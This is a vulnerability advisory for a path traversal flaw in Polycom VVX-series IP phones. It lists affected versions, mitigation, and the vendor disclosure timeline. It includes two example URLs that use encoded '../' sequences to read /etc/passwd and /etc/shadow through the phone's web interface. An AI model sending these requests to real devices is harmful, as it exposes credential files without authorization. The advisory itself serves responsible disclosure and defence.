Polycom VVX-Series Path Traversal

2015.12.15
Credit: Jake Reynolds
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-22

Polycom VVX-Series Business Media Phones Path Traversal Vulnerability --Summary-- Polycom VVX-series Business Media Phones allow authenticated users to execute file path traversal attacks # Polycom # http://www.polycom.com --Affects-- # Polycom VVX 101, 201, 300, 310, 400, 410, 500, 600, & 1500 # UC Software 4.1.8 and earlier, 5.2.3 and earlier, 5.3.1 and earlier, 5.4.0 and earlier --Details-- Polycom VVX-series IP phones provide a web administrative interface. Inside this interface we discovered two URLs that exposed a "file=filename" parameters. Due to unsafe file system operations in this interface, it is possible to exploit the following pages, and possibly others, using path traversal attacks: http://a.b.c.d/Preferences/Ringtone?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd http://a.b.c.d/Preferences/Background?file=.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow --Mitigation-- Upgrade to the latest version of UC Software available. Disable or restrict access to the web interface. --Timeline-- # 6/16/2015: Notified Polycom about the issue # 6/17/2015: Polycom responds, indicates it is investigating # 6/18/2015: Polycom acknowledges vulnerability legitimacy # 6/26/2015: Polycom waiting on estimate for fix from engineering # 7/22/2015: Polycom provides with projected timelines for fixes # 11/24/2015: Polycom confirms all VVX branches are patched # 12/9/2015: Polycom issues public vulnerability advisory --References-- https://depthsecurity.com/blog/polycom-vvx-series-business-media-phones-path-traversal-vulnerability http://supportdocs.polycom.com/PolycomService/support/global/documents/support/documentation/VVX_Path_Traversals_v_1_0.pdf Jake Reynolds Partner/Principal Consultant www.depthsecurity.com

References:

https://depthsecurity.com/blog/polycom-vvx-series-business-media-phones-path-traversal-vulnerability
http://supportdocs.polycom.com/PolycomService/support/global/documents/support/documentation/VVX_Path_Traversals_v_1_0.pdf


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